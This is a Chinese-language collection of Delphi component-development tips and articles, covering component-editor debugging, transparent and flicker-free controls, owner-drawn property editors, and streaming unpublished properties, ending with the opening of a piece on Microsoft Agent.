在Delphi的设计环境中，元件编辑器扮演的一个重要的角色。一般情形下，以鼠标左键双击元件时，Designer会为此元件建立一支对应的事件处理方法(Event Handler)，例如在Form中DubleClickButton1元件後，会在Editor视窗中建立一支Button1Click事件处理的方法。基本上这便是元件编辑器的功能。Delphi定义了TComponentEditor的编辑器类别，亦实作了一个TDefaultEditor的预设类别，若您没有为您的元件注册任何的元件编辑器，则Delphi会以TDefaultEditor为此元预设的元件编辑器。此类别会以元件中的找到的第一个事件为建立方法的依据，你可以自行指定来源事件，建立此事件的事件处理方法。然而许多情形下，对话盒式的元件编辑器仍较受用户的喜爱，有些功能较强的元件，如Tchart元件，其本身的元件编辑器便十分的复杂，有如一个小型的应用程序，也因为如此，用户在设定元件时可以不必全部透过撰写程序法码来完成，元件编辑器已经为您处理了大部份的设定功能。

有的元件也支援由单击鼠标右键来调用本身的元件编辑器，此时会出现一个弹出式功能选单，让用户选择并调用。大部份有此功能的元件都提供不只一种元件编辑功能，例如Tquery元件便提供了四种编辑元件的功能供用户选择。在Delphi的设计环境中，是将Form的编辑功能与元件的元件编辑功能结合起来，因此在Click鼠标右键後可叫出一个标准的功能选单，如点选的元件有元件编辑器，则此编辑功能选项会显示在选单最上方，此为Delphi的处理机制。Delphi的Designer类别并没有提供这方面的支援，因此若要支援能元件编辑器的功能，我们必须自己实作。本篇中笔者使用的方式是於Form中建立一个全域性的弹出式选单，并利用TCompoentEditor类别中的GetVerbCount方法取得元件编辑器中的可选功能数量，利用GetVerb方法来取得元件编辑器的所有选项名称，并将之逐一加入此弹出式选单中，并於加入完成前，加入一个删除元件的选项，以便用户能删除建立的元件。

当用户调用某元件的元件编辑器时，透过Delphi提供的GetComponentEditor方法以取得此元件的元件编辑器，并在设定功能选单後，将选单显示於点选位置。待用户选定後，便透过TCompoentEditor类别中的ExecuteVerb方法调用相对应的元件编辑功能(见表八)。本篇中的元件范例TMessageBox类别便定义了一个元件编辑器，此编辑器亦为一对话视窗，在使用上您必须将此元件编辑器如同注册元件般，透过Delphi所提供的RegisterComponentEditor将此编辑器注册，如此才能正确的调用。

元件拖拉技巧的实作

在Delphi的设计时期的Designer提供不少的元件的编辑功能，举凡元件搬移，尺寸调整，复制，删除，等等，种种的功能营造出一个使用亲合且开发快速的集成环境，这些功能的背後的实作，有的牵涉技术十分复杂，有的却也简单明了。以元件搬移功能来说，乃是设计环境中不可或缺的功能之一。从观察Delphi中的元件移动行为来看，搬移的动作是以一个矩形方框来代替元件移动的过程，直到放开鼠标左键後，才实际将元件移至指定位置。这样的做法不仅可以减少系统的负荷，也容易对照位置，可说一举两得。

笔者在本例中提供了一个可将元件任意移动以及删除元件的设计环境，也许距离Delphi的设计环境仍嫌太远，但对於元件的除错上，这些基本的功能实已足够。至於详细的设计方法与程序，碍於篇幅限制，在此不便刊出，仅针对设计过程中笔者认为须注意的要点与技巧加以说明，其余的部份读者可参阅范例程序RTBForm.PAS，里面有完整的说明。

在设计过程中主要有以下几点是必须加以考量的：

(1)绘制移动时的矩形方框时，技巧上可将Canvas中Pen的Mode的属性值设定为pmXor(见表九)，如此在移动的过程中只需将此方框於原位置重画一次即可将背景还原，之後再於新的位置画上新的方框便可，既省时又简单。

(2)由於绘制的矩形方框并没有Handle，因此在移动过程中经过其它元件上方的部份时会被元件所覆盖(见图五)，为解决此问题，我们可以透过调用GetWindowLong及SetWindowLong此二支WindowsAPI来将矩形方框提至最上方，以解决覆盖的问题。

(3)为了避免在元件移动过程中，将元件移出视窗外不可见的区域，而导致元件消失的情形，我们可以调用ClipCursor这支Windows API，将滑属游标限制在某范围内，待放开鼠标左键後再取消限制。

(4)为能模拟调用元件编辑器的功能，必须动态建立一个Popup的选单元件，将取得的ComponentEditor选项信息加入Popup选单中。另由於OnDblClick事件会同时伴随触发OnMouseDown及OnClick事件，因此须直接栏截Windows的WM_LButtonDblClk信息，以确保伴随事件不会发生。

(5)由於元件的每一次移动重绘，都可能破坏其它元件的外观，因此为避免Form上的元件因彼此覆盖而导致画面的破坏，故於元件移动完成後将必须将所有Form上可见的元件重画一次。

为您自定的元件除错　TMessageBox

在基本的设计环境完成後，便可以加入元件开始为元件除错了。您可以透过RegisterComponents及RegisterComponentEditor两支函数将元件加入设计环境中，当然这一切得在Delphi的设计环境中完成。本例中笔者加入自行设计的TMessageBox元件，以测试元件的正确性。待加入系统编译执行後，您可以在主画面视窗右方看到一个TMessageBox的类别字串，试著按下[Create Component]按钮看看，你可以发现在Form中多了一个元件，由於此元件为不可视元件，因此由一TRTContainer元件所取代，以鼠标点选此元件，可於状态列中找到元件的名称及所属类别。先不要结束程序，回到Delphi的设计环境中，叫出此元件的原始程序码(MsgBox。PAS)，於此元件的ComponentEditor实作区段中的ExecuteVerb方法中设定中断点，并回到执行中的程序，於元件上双击鼠标左键，或单击鼠标右键，调用此元件编辑器，此时你可以发现程序会暂停於设定的中断点，此时你可以一如一般应用程序般的利用Delphi的集成除错器为元件进行除错，而不用担心因害怕元件的Bug而导致整个元件库毁损而必须事先备份元件库了。这样的作法是不是既安全且方便呢？

结语

元件的设计除了本身及其元件编辑器外，另外一个重点便是属性编辑器(Property Editor)，在Delphi的设计环境中，用来调用属性编辑器的是对象检视器(Object Inspector)。元件中的每个属性都有自己的属性编辑器，因此测试的功作更形重要。欲实作一个对象检视器也有许多相关课题需要注意的，事实上有关对象检视器中的许多信息来源，绝大部份仍需要仰赖Designer的的提供，因此一个完整的集成设计环境，各部份彼此都是环环相扣，缺一不可的。本篇中实作了元件编辑部份的除错功能，你可以利用此模式，为自己设计的专属的属性编辑器除错环境，如同对象检视器一般的方便实用。

在笔者目前所参与的RT-Builder计划中，便利用上述的机制实作了一个完整的开发设计环境，此环境除了可提供完整的元件除错能力外，亦支援Delphi设计环境中大部份的功能，如同另一个Delphi般，更由於此产品是以元件方式呈现，只须在编译时期於您的应用程序中加入此元件，便可使您的应用程序拥有Delphi般的设计环境，这对系统维护上来说，亦不失为一项有利的选择，若读者有兴趣可自行前往笔者公司网站(www.infolight.com)中下载试用版本，相信会让您耳目一新。

一个功能完善，品质良好的元件是需要经过严格的考验的，而复杂功能的背後往往隐藏的是长篇深奥难解的程序码，因此在开发元件的过程中，一个功能齐全且信息完整的除错环境是必须的。良好的除错环境不仅能确保设计品质的可靠度，亦可缩短整个开发的时间，著实对程序开发者有著不可忽视的助益，您说是吗？

注一：您可由笔者所属公司专属网页中下载RTBDSGN.PAS与RTBFORM.PAS原始程序码，网址为

http://www.infolight.com。

（本文作者蔡志诚先生，云林技术学院工业管理系毕，现任职於讯光科技系统股份有限公司，目前担任该公司软件研发的工作。E-mail: scott@dbtools.com， Http://www.infolight.com）


重载CreateParams的问题
有的时候，你的窗体或者控件重载了CreateParams过程，但是我们知道，这个过程只会调用一次，若你不想启动程序又要让这个过程重新被调用的话，请调用ReCreateWnd即可。


控件透明

将一个FORM变成透明的实质性手段就是拦截CMEraseBkgnd消息。

unit Utransform; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls; type TForm1 = class(TForm)

private { Private declarations }

public { Public declarations }

PROCEDURE CMEraseBkgnd(var Message:TWMEraseBkgnd);Message WM_ERASEBKGND;

end;

var Form1: TForm1;

implementation

{$R *.DFM}

PROCEDURE Tform1.CMEraseBkgnd(var Message:TWMEraseBkgnd);

BEGIN

brush.style:=bsClear;

Inherited;

END;

end.

//////////////////////////////////////

procedure TForm1.FormCreate(Sender: TObject);

begin

Form1.Brush.Style := bsClear;

Form1.BorderStyle := bsNone

end;

procedure TForm1.BitBtn1Click(Sender: TObject);

begin

Application.Terminate;

end;

/////////////////////////////////////////////

用透明的控件呗. 一般继承自TGraphicControl的

(就是那些没有handle属性, 不能有focus的控件, 如image)

都有Transparent属性. 对TWinControl类的控件, 要实现透明只要完成以下

三步基本上就成了.

1. override 它的CreateParams方法, exstyle 里加上WS_EX_TRANSPARENT.

2. 修改它的parent的window style, 去掉WS_CLIPCHILDREN.

3. 截获WM_ERASEBKGND, 什么都不做直接返回1.

一般有上面3步能成. 有些控件比如TPanel, 在它的paint中用了fillrect, 所以要实现透明的话还要override 它的paint方法， 自己画.

按钮透明需要进一步处理.

createparams里加上style := style or BS_OWNERDRAW;

然后在WM_DRAWITEM中自己画吧


禁止控件的刷新

更新前用sendmessage(yourcontrol.handle,wm_setredraw,0,0)

更新后用sendmessage(yourcontrol.handle,wm_setredraw,1,0)


继承自TGraphicControl,但发现在刷新时闪烁很明显

：我写了一个构件继承自TGraphicControl,但发现在刷新时闪烁很明显，请提示一下如何解决？

1. controlstyle := controlstyle + [csOpaque];

2. procedure WMEraseBkgnd(var Message: TMessage); WM_ERASEBKGND;

begin

message.result := 1;

end;

--------------------------------------------------------------------------------

来自：Aloney 时间：99-12-2 13:08:44 ID:163668

每次更改图象时调用Invalidate;方法！或者在重画之前Canvas.Lock,画完之后Canvas.UnLock;我也写过一个类似的控件没问题的。

--------------------------------------------------------------------------------

来自：www 时间：99-12-2 18:12:50 ID:163896

如果构件的 ComponentStyle 属性没有包含 csOpaque 旗帜的话，调用

Invalidate方法时 会导致构件的背景先被擦掉再重绘。如果你在 Paint 方法中绘制

背景，那你应该在构件的建构函式中加上：

ComponentStyle := ComponentStyle + [csOpaque];

Max Nilson的回答：

引起闪动另一个原因可能是 WM_ERASEBKGND 讯息的处理。当 VCL 控制项

收到一个 WM_ERASEBKGND讯息时，它会将构件的背景擦掉然後配置成预设的颜色。如

果你的元件衍生自TWinControl，而且构件的颜色与背景颜色不同（例如图形），每

次重画以前都会将构件先清成背景颜色再重绘，这就是造成闪动的原因了！

解决的方法不难，你必须告诉 Windows 你要自行解决『所有的』绘图动

作。不过有一个前提是，你一定要确定你的 Paint 方法将整个构件都画过，如果你

漏了什麽地方忘了画，那个节的数据会由乱数组成，你能想见这情况吗？使用这个方

法可以加速你的构件绘制动作（稍微快一点点），因为少了一个填满背景颜色的动

作。

type

TMyComponent = class (TWinControl)

...

protected

procedure WMEraseBkgnd(var Message: TWMEraseBkgnd); message

WM_ERASEBKGND;

...

end;

procedure TBMyComponent.WMEraseBkgnd(var Message: TWMEraseBkgnd);

begin

// 不要重绘背景，这会造成构件闪动

Message.Result := 0

end;


控件中加自己的图标

修改你的MtxDate.dpk，在requires语句下面插入：

...

{%RC 'MDateEdit.rc'}

...

文件MDateEdit.rc只包含一句：

TMDateEdit BITMAP "xxy.bmp"

这样还不行的话，我只好跳楼了...^_^


关于多行Caption、Hint等

MMMMMMM

总是发现有很多人需要Caption之类的能够换行，大多数人是采取写代码的方式，例如：Label1.Caption:='A'#13'B'#13'C'#13'D';这样也无可非议，是正确的，但始终是感觉不爽！因此我就写了下面的这个冬冬，安装之后，集成到Delphi开发环境中，以后就不用携带码来换行了，别看代码虽小，可是使用起来可是方便不少啊！

使用方法，把下面的两个文件分别以他们的文件名保存，然后打开StrEditDlg.pas，在Delphi IDE中，选择Component-->Install Component，然后点击OK，Build即可。如果不需要使用了，请到你把该文件安装到的DPK文件中，删除StrEditDlg.pas并重新编译那个DPK文件即可，不会留下任何垃圾和痕迹。：）

回复人： zswang(伴水)(努力工作中) ( ) 信誉：126 2002-8-1 9:27:42 得分:200

一般我是通过修改窗体代码来实现

object Label1: TLabel

Left = 120

Top = 136

Width = 26

Height = 65

Caption = 'Line1'#13#10'Line2'#13#10'Line3'#13#10'Line4'#13#10

end

嘻嘻嘻 有总比没有好！ 嘻嘻嘻嘻

///适用于Delphi5和Delphi6。

把附件中的文件导出，然后保存，打开streditor.pas，然后Install Component即可。安装之后，凡是有Caption和Text的地方，会弹出一个对话框，这样可以输入换行的Caption！很爽的，不需要用代码来显示换行的Caption了。

附件>>>>> StrEidtor.rar

MMMMMMM关于多行Caption、Hint等


自绘画的属性编辑器

自绘画的属性编辑器

属性编辑器对于大多数Delphi程序员来说无疑是很熟悉的，在对象编辑器的内核中有着大量的属性编辑器，每个对象编辑器中的属性都对应一个属性编辑器类的实例。

Delphi5中提供了一些新的高级特性，使我们能够定义新的属性编辑器，为以有的属性提供新的功能，或者设定和显示新的控件的新的属性的显示方法。在Delphi5以前，对象编辑器只能够以文本的形式显示属性值。在Delphi 5中给属性编辑器提供了新的特性，使我们能够以任何形式显示属性的名称和值，如下图所示如果属性有一个下拉列表，我们就可以为每一个列表项添加一个图标。下面我们就来研究一下如何实现属性编辑器的自绘画的功能。

属性编辑刷新器

所有的属性编辑器都是从TpropertyEditor继承下来的。我们可以为特定的属性类型、属性名或控件注册一个属性编辑器。对象编辑器检查每一个要显示的属性的名称和类型，选择合适的属性编辑器类。然后它会创建这个类的一个实例（每个属性对应一个实例）。当我们选择了另一个控件，对象编辑器会释放全部的属性编辑器对象，然后为新的控件创建新的对象。

属性编辑器可以决定如何显示属性的值以及用户如何设定一个新的属性值。比如，TintegerProperty调用IntToStr函数以字符串的形式显示整数值并用StrToInt函数来转换用户输入的新值。 当用户输入了一个新的属性值时，TcolorProperty同样使用一个整型值来表示，但把整数解释为颜色，并尽可能地映射颜色值为一个名称（如clBlack或clBtnFace) 。

一个属性编辑器实现上述功能是通过重载TpropertyEditor的一个或多个方法来实现的。绝大多数的属性编辑器需要重载GetValue方法，GetValue方法获得属性值的字符串形式。以及SetValue方法，SetValue方法把一个字符串转化为属性值。要想了解关于编写属性编辑器的进一步信息，需要仔细研究DsgnIntf.pas文件（在Delphi5目录下）以及Delphi 5 在线帮助（在"property editors, creating"部分里)。

基础步骤

要实现一个最基本的自绘画属性编辑器，我们只需要重载TpropertyEdiotr的PropDrawValue 方法。比如如前面图中所见到的，TcolorProperty属性重载了PropDrawValue方法在颜色名前显示一个对应于相应颜色的彩色小方块。为了理解如何使用PropDrawValue方法，我们为Tfont对象写一个新的属性编辑器，新的编辑器将会用当前字体名对应的字体来显示Tfont对应的属性。

Delphi本身已经提供了一个属性编辑器TfontProperty，它在对象编辑器中添加了一个省略按钮，用户可以点击按钮调出标准的Windows字体选择对话框来设定字体的属性。我们可以直接从TfontProperty继承新的编辑器，类的声明如下：

type

TVisualFontProperty = class(TFontProperty)

public

procedure PropDrawValue(Canvas: TCanvas;

const Rect: TRect; Selected: Boolean); override;

end;

当对象编辑器需要显示属性值的时候，IDE会调用PropDrawValue方法来画属性值。Delphi传递一个画布对象（Canvas）及绘画区域来供程序画属性值。Selected参数现在还没用，我们可以忽略它。

注意：Delphi并不会为给定的绘画区域设定剪裁区域，也就是说我们必须严格按照给定的区域绘画，如果超出界限，会把别的属性值给覆盖掉。

TvisualFontProperty对象的唯一任务就是选择相应于Font名字的字体来画属性值。它设定字体的名称，样式以及颜色（当颜色不同于背景色的时候），字体的大小显示保留不动，以免使用非常大或非常小的字体大小画值的时候会出现的问题。下面就是PropDrawValue的实现部分：

// 替换乏味的Tfont属性值的显示方式，用选定的字体样式

//和字体来画相应的属性值，用户可能会选择比较大的字体

//尺寸，所以这里保留字体大小不动，只有当字体颜色不同

//于背景色的时候，才用相应的颜色画，否则前景背景一样

//的话就无法看到字体的属性值了

procedure TVisualFontProperty.PropDrawValue(

Canvas: TCanvas; const Rect: TRect; Selected: Boolean);

var

Font: TFont;

begin

Font := TFont(GetOrdValue);

if Font <> nil then begin

if ColorToRGB(Font.Color) <> ColorToRGB(clBtnFace) then

Canvas.Font.Color := Font.Color;

Canvas.Font.Name := Font.Name;

Canvas.Font.Style := Font.Style;

end;

inherited;

end;

另外我们重载GetValue方法来提供更多的信息，比如字体名和大小。

function TVisualFontProperty.GetValue: string;

var

Font: TFont;

begin

Font := TFont(GetOrdValue);

if Font = nil then

Result := inherited GetValue

else

Result := Format('%s, %d', [Font.Name, Font.Size]);

end;

我们可以画任何东西到画布上，比如图标和位图的属性编辑器是TgraphicProperty。它显示把图标属性显示为一个乏味的字符串”TIcon”。 我们可以把图标属性显示为对应的图标，这样的界面更加友好。这里我们继承一个TvisualGraphicProperty对象重载PropDrawValue来实现这一功能。

Tpicture属性的情况也是类似的，所以我们用一个公用的过程DrawGraphic来实现，DraGraphic缩放图形对象使之符合对象编辑器可用空间的大小，同时它维持原来的宽高比，缩放图像为最小的可能的尺寸。对于图标来说，由于Windows不能缩放图标，所以DrawGraphic调用StretchIcon过程把图标画到位图上，然后缩放位图。下面是过程代码：

// Windows不能缩放图标，所以如果图标大小不匹配的话，

//把它画到一个临时的位图上，然后缩放位图。

procedure StretchIcon(Canvas: TCanvas;

const Rect: TRect; Icon: TIcon);

var

Bitmap: TBitmap;

begin

Bitmap := TBitmap.Create;

try

Bitmap.Height := Icon.Height;

Bitmap.Width := Icon.Width;

Bitmap.Canvas.Brush.Color := clBtnFace;

Bitmap.Canvas.FillRect(Rect);

Bitmap.Canvas.Draw(0, 0, Icon);

Canvas.StretchDraw(Rect, Bitmap);

finally

Bitmap.Free;

end;

end;

procedure DrawGraphic(Canvas: TCanvas; const Rect: TRect;

Graphic: TGraphic; const Value: string);

var

R: TRect;

HeightRatio, WidthRatio: Single;

begin

Canvas.FillRect(Rect);

//缩放图像使其符合给定空间大小，

//同时保持图像宽高比不变

HeightRatio := (Rect.Bottom - Rect.Top) / Graphic.Height;

WidthRatio := (Rect.Right - Rect.Left) / Graphic.Width;

R := Rect;

if HeightRatio < WidthRatio then

R.Right := R.Left + Trunc(Graphic.Width * HeightRatio)

else

R.Bottom := R.Top + Trunc(Graphic.Height * WidthRatio);

if (Graphic is TIcon) and

((HeightRatio > 1) or (WidthRatio > 1)) then

StretchIcon(Canvas, R, TIcon(Graphic))

else

Canvas.StretchDraw(R, Graphic);

// 在图像的右边，让继承的编辑器画缺省的文本，比如“Ticon“

R.Left := R.Right;

R.Right := Rect.Right;

R.Top := Rect.Top;

R.Bottom := Rect.Bottom;

Canvas.TextRect(R, R.Left+1, R.Top+1, Value);

end;

我们在DrawGraphic过程中写了主要的代码，所以PropDrawValue就显得简单多了，主要的作用是确保属性有一个有效的图形对象，如果没有就调用继承的方法来处理。代码如下：

procedure TVisualGraphicProperty.PropDrawValue(

Canvas: TCanvas; const Rect: TRect; Selected: Boolean);

var

Graphic: TGraphic;

begin

Graphic := TGraphic(GetOrdValue);

if (Graphic = nil) or Graphic.Empty or

(Graphic.Height = 0) or (Graphic.Width = 0) then

inherited

else

DrawGraphic(Canvas, Rect, Graphic, GetVisualValue);

end;

自绘画的名字

我们可以重载PropDrawName方法，它同PropDrawValue方法工作方式类似，只不过一个是画值，一个是画名称。大多数属性的名字不需要任何特殊的处理，对于BoldFace属性的名字来说，把名字加粗可以便于用户了解BoldFace属性的情况。下面的代码显示了TboldComponentNameProperty类的如何实现PropDrawName方法的。

type

TBoldComponentNameProperty =

class(TComponentNameProperty)

public

procedure PropDrawName(Canvas: TCanvas;

const Rect: TRect; Selected: Boolean); override;

end;

procedure TBoldComponentNameProperty.PropDrawName(

Canvas: TCanvas; const Rect: TRect; Selected: Boolean);

var

Style: TFontStyles;

begin

Style := Canvas.Font.Style;

Canvas.Font.Style := Canvas.Font.Style + [fsBold];

try

inherited;

finally

//恢复字体的样式以便Delphi正确的画属性值

Canvas.Font.Style := Style;

end;

end;

下拉列表

一个属性编辑器可能会拥有一个下拉列表框，用户可以通过选择列表项来改变属性值。Delphi 5使用了自绘画的特性来改进Tcolor和Tcursor属性的界面友好性，我们也可以作同样的事情，通过重载ListDrawValue，ListMeasureHeight和ListMeasureWidth方法可以很容易的做到。下面是这几个方法的声明：

procedure ListDrawValue(const Value: string;

Canvas: TCanvas; const Rect: TRect; Selected: Boolean);

procedure ListMeasureHeight(const Value: string;

Canvas: TCanvas; var Height: Integer);

procedure ListMeasureWidth(const Value: string;

Canvas: TCanvas; var Width: Integer);

ListDrawValue方法类似于PropDrawValue方法，但它的Selected是有意义的，表示用户已经选择了这个列表项。Delphi会根据Selected参数自动设定画布的颜色为合适的值，所以通常情况下我们可以忽略这个参数。Value参数是要显示的字符串，Delphi调用GetValue方法来获得这些字符串，

在对象编辑器显示列表框之前，它会调用ListMeasureHeight和ListMeasureWidth方法来获得每个列表项的尺寸，我们可以设定Height和Width参数来获得想要得到的高度和宽度。下拉列表框使用全部列表项中最大的尺寸，然后显示相同区域大小的列表项。

当用户滚动列表框时，Delphi调用ListDrawValue方法来画心新的可见的列表项。用户可能会前后滚动多次，如果列表项很多，每次重绘需要很多时间的话，我们应该建立一个临时的位图，把列表项先画到位图上，然后在ListDrawValue方法中快速显示位图。这实际上就是双缓冲技术。

下面的例子是一个扩展的集合类型属性，下拉列表显示全部的集合元素，并在每个集合元素旁边添加一个复选框。复选框是通过位图来模仿的，属性编辑器先取得复选框位图，并在不同情况下显示打叉和未打叉的位图。全局变量Checked和Unchecked保存这两个位图 为Tbitmap类型。下面的代码显示了TSetPropertyEx.类是如何实现自绘画集合类型的：

// 在下拉列表框的每一个列表项旁边画一个复选框

procedure TSetPropertyEx.ListDrawValue(const Value: string;

Canvas: TCanvas; const Rect: TRect; Selected: Boolean);

var

IsChecked: Boolean;

OrdValue: Integer;

begin

OrdValue := GetOrdValue;

IsChecked := GetEnumValue(EnumInfo, Value) in

TIntegerSet(OrdValue);

Canvas.FillRect(Rect);

Canvas.TextRect(Rect, Rect.Left + Checked.Width + 2,

Rect.Top + 1, Value);

if IsChecked then

Canvas.Draw(Rect.Left + 1, Rect.Top + 1, Checked)

else

Canvas.Draw(Rect.Left + 1, Rect.Top + 1, Unchecked);

end;

procedure TSetPropertyEx.ListMeasureHeight(

const Value: string; Canvas: TCanvas;

var Height: Integer);

begin

if Height < Checked.Height then

Height := Checked.Height;

end;

procedure TSetPropertyEx.ListMeasureWidth(

const Value: string; Canvas: TCanvas;

var Width: Integer);

begin

Width := Width + Checked.Width + 2;

end;

类似于显示集合元素，对于布耳类型的属性我们也可以加一个复选框。下面我们要实现TBooleanPropertyEx 属性编辑器对布耳类型进行了扩展，对于不同的布耳类型，比如ByteBool, WordBool和LongBool属性的实现方式是类似的，当时需要不同的属性编辑器。下面就是TbooleanPropertyEx的实现代码，对于复选框如何相应消息，有点小问题，因为通常我们是希望单击实现复选框切换状态，Delphi不支持单击，我们只好使用双击了（估计在Delphi 6中属性编辑器可能会支持单击），注意双击会调用属性编辑器的Edit方法。对于集合元素或布耳属性，双击可以切换属性值。估计在Delphi 6中属性编辑器可能会支持单击。

//根据True或者False来画一个复选框及布耳值的文本标签

procedure DrawBoolCheckBox(Canvas: TCanvas;

const Rect: TRect; const Value: string);

begin

Canvas.FillRect(Rect);

Canvas.TextRect(Rect, Rect.Left + Checked.Width + 2,

Rect.Top + 1, Value);

if Value = BooleanIdents[False] then

Canvas.Draw(Rect.Left + 1, Rect.Top + 1, UnChecked)

else

Canvas.Draw(Rect.Left + 1, Rect.Top + 1, Checked);

end;

{ TSetElementPropertyEx }

// 每个列表项旁边显示一个复选框，用户必须双击

//而不是单击才能切换复选框状态

procedure TSetElementPropertyEx.PropDrawValue(

Canvas: TCanvas; const Rect: TRect; Selected: Boolean);

begin

DrawBoolCheckBox(Canvas, Rect, Value);

end;

{ TBoolPropertyEx }

// 为ByteBool, WordBool和LongBool类型显示复选框

procedure TBoolPropertyEx.PropDrawValue(Canvas: TCanvas;

const Rect: TRect; Selected: Boolean);

begin

DrawBoolCheckBox(Canvas, Rect, Value);

end;

使用属性编辑器

最后我们需要作的就是注册这些新的属性编辑器，大多数的编辑器比较容易注册，但是新的集合类属性编辑器存在一个问题，每一个集合都是一个独立的类型，我们必须分别为每个集合类型注册一遍属性编辑器。幸运的是，Delphi有一个不为人知的特性就是允许为所有的集合类型注册同一个属性编辑器。同通常的为单独一个类型注册属性编辑器不同的是，我们可以通过提供一个属性映射函数来实现注册，这个函数把对象和属性信息作为参数，然后返回属性编辑器类或是nil。这种情况下，映射函数校验属性类型，并为所有属性类型是tkSet的属性返回新的集合属性编辑器。下面是注册过程的代码：

//为全部的集合属性注册一个统一的属性编辑器

function SetMapper(Obj: TPersistent; PropInfo: PPropInfo):

TPropertyEditorClass;

begin

if PropInfo.PropType^.Kind = tkSet then

Result := TSetPropertyEx

else

Result := nil;

end;

procedure Register;

begin

RegisterPropertyEditor(TypeInfo(TFont), nil, '',

TVisualFontProperty);

RegisterPropertyEditor(TypeInfo(TGraphic), nil, '',

TVisualGraphicProperty);

RegisterPropertyEditor(TypeInfo(TComponentName),

TComponent, 'Name', TBoldComponentNameProperty);

RegisterPropertyEditor(TypeInfo(Boolean), nil, '',

TBooleanPropertyEx);

RegisterPropertyEditor(TypeInfo(ByteBool), nil, '',

TBoolPropertyEx);

RegisterPropertyEditor(TypeInfo(WordBool), nil, '',

TBoolPropertyEx);

RegisterPropertyEditor(TypeInfo(LongBool), nil, '',

TBoolPropertyEx);

RegisterPropertyMapper(SetMapper);

end;

写完注册代码后，我们要作的只是把新的属性编辑器添加到包中，然后在Delphi中安装。关闭所有的窗体，确保原来的属性编辑器全部被释放。新建一个窗体，我们就可以看到如下图所示的属性编辑器了，看起来还是很漂亮的

其它新的属性编辑器特性

这里我们主要讲了自绘画的属性编辑器，但Delphi 5还提供了许多其它的新特性，感兴趣的朋友可以自己进行一下研究。

比如新增的GetVisualValue方法类似于GetValue方法，但它可以用来返回一个比简单转换的字符串更有意义的描述字符串（但不能用来编辑）。有的时候，我们可能想用更有意义的字符串，而不是简单的转换来表示属性值，这时我们通过重载GetVisualValue方法来返回一个用于显示的字符串，用GetValue方法来返回一个用于编辑的字符串。

还有一个新的标志paFullWidthName置位的话，对象编辑器会完全显示属性名，而不会给属性值留出空间。第一眼的印象是这好象是一个很奇怪的特性，但很多控件都有类似于About的属性（尤其是商业控件），这些属性（是PaDialog类型的）只是在左边显示一个带省略号的按钮。 点击属性编辑器只是显示一个关于的对话框，它没有什么特别有意义的值，这时paFullWidthName标志就有用了，重载PropDrawName 方法我们可以把自己公司的Logo,显示在属性名的旁边。

最后，我想要发发牢骚，Borland的这些新的特性从来就没有很好的文档（这点上borland比微软可是差了好几个数量级），所以要想研究的话，只能是多看看Delphi带的源代码了：（，不过不管怎么说，使用这些新的特性我们可以作出非常Cool的编辑界面来，这才是我们最关心的。


控件属性数据的保存

有的时候，自己写一个自定义控件，有一些属性，不是Delphi的标准属性，那么如何能够保存这些属性呢？Kingron查看了一夜的帮助，终于发现了这些文字：

Creating properties

Storing and loading unpublished properties

Topic groups

By default, only published properties are loaded and saved with a component. However, it is possible to load and save unpublished properties. This allows you to have persistent properties that do not appear in the Object Inspector. It also allows components to store and load property values that Delphi does not know how to read or write because the value of the property is too complex. For example, the TStrings object can抰 rely on Delphi抯 automatic behavior to store and load the strings it represents and must use the following mechanism.

You can save unpublished properties by adding code that tells Delphi how to load and save your property抯 value.

To write your own code to load and save properties, use the following steps:

1 Create methods to store and load the property value.

To store and load unpublished properties, you must first create a method to store your property value and another to load your property value. You have two choices:

Create a method of type TWriterProc to store your property value and a method of type TReaderProc to load your property value. This approach lets you take advantage of Delphi抯 built-in capabilities for saving and loading simple types. If your property value is built out of types that Delphi knows how to save and load, use this approach.

Create two methods of type TStreamProc, one to store and one to load your property抯 value. TStreamProc takes a stream as an argument, and you can use the stream抯 methods to write and read your property values.

For example, consider a property that represents a component that is created at runtime. Delphi knows how to write this value, but does not do so automatically because the component is not created in the form designer. Because the streaming system can already load and save components, you can use the first approach. The following methods load and store the dynamically created component that is the value of a property named MyCompProperty:

procedure TSampleComponent.LoadCompProperty(Reader: TReader);

begin

ifReader.ReadBoolean then

MyCompProperty := Reader.ReadComponent(nil);

end;

procedure TSampleComponent.StoreCompProperty(Writer: TWriter);

begin

Writer.WriteBoolean(MyCompProperty <> nil);

if MyCompProperty <> nil then

Writer.WriteComponent(MyCompProperty);

end;

2 Override the DefineProperties method, passing those methods to a filer object.

Once you have created methods to store and load your property value, you can override the component抯 DefineProperties method. Delphi calls this method when it loads or stores the component. In the DefineProperties method, you must call the DefineProperty method or the DefineBinaryProperty method of the current filer, passing it the method to use for loading or saving your property value. If your load and store methods are of type TWriterProc and type TReaderProc, then you call the filer抯 DefineProperty method. If you created methods of type TStreamProc, call DefineBinaryProperty instead.

No matter which method you use to define the property, you pass it the methods that store and load your property value as well as a boolean value indicating whether the property value needs to be written. If the value can be inherited or has a default value, you do not need to write it.

For example, given the LoadCompProperty method of type TReaderProc and the StoreCompProperty method of type TWriterProc, you would override DefineProperties as follows:

procedure TSampleComponent.DefineProperties(Filer: TFiler);

functionDoWrite: Boolean;

begin

if Filer.Ancestor <> nil then { check Ancestor for an inherited value }

begin

if TSampleComponent(Filer.Ancestor).MyCompProperty = nil then

Result := MyCompProperty <> nil

else if MyCompProperty = nil or

TSampleComponent(Filer.Ancestor).MyCompProperty.Name <> MyCompProperty.Name then

Result := True

else Result := False;

end

else { no inherited value -- check for default (nil) value }

Result := MyCompProperty <> nil;

end;

begin

inherited; { allow base classes to define properties }

Filer.DefineProperty('MyCompProperty', LoadCompProperty, StoreCompProperty, DoWrite);

end;


Agent技术在Delphi中的应用

解放军合肥炮兵学院

张建军

中保财险安徽省铜陵市分公司

韩莹

---- Microsoft Agent是微软公司于1997年9月发布的一项代理软件开发技术，而后被集成到Internet Explorer 4.0 Plus及更高版本中，目前版本为2.0，支持简体中文。作为一种软件代理工具，Agent以其强大的交互功能、鲜明的人性特点、优美的操作界面和简便统一的编程方法，对由菜单、按钮、提示框等组成的传统人机交互方式产生了很大影响，在多媒体创作、Web应用、教育软件、软件帮助系统和辅助工具制作等方面，具有广阔的应用前景。

一、 Microsoft Agent技术简介

---- Agent一词的中文意思是“代理”，故名思意，这类代理软件的主要作用是提供一种易于理解和使用的操作界面，接受用户的指令、代替用户完成某些复杂繁琐的工作、或为用户提供帮助。科学研究表明：从人机工程的角度考虑，赋予电脑或程序更多人性化色彩，如支持语音合成输出信息、语音识别输入指令、智能提示、动画等，能够充分提高人机交互的有效性和易用性。

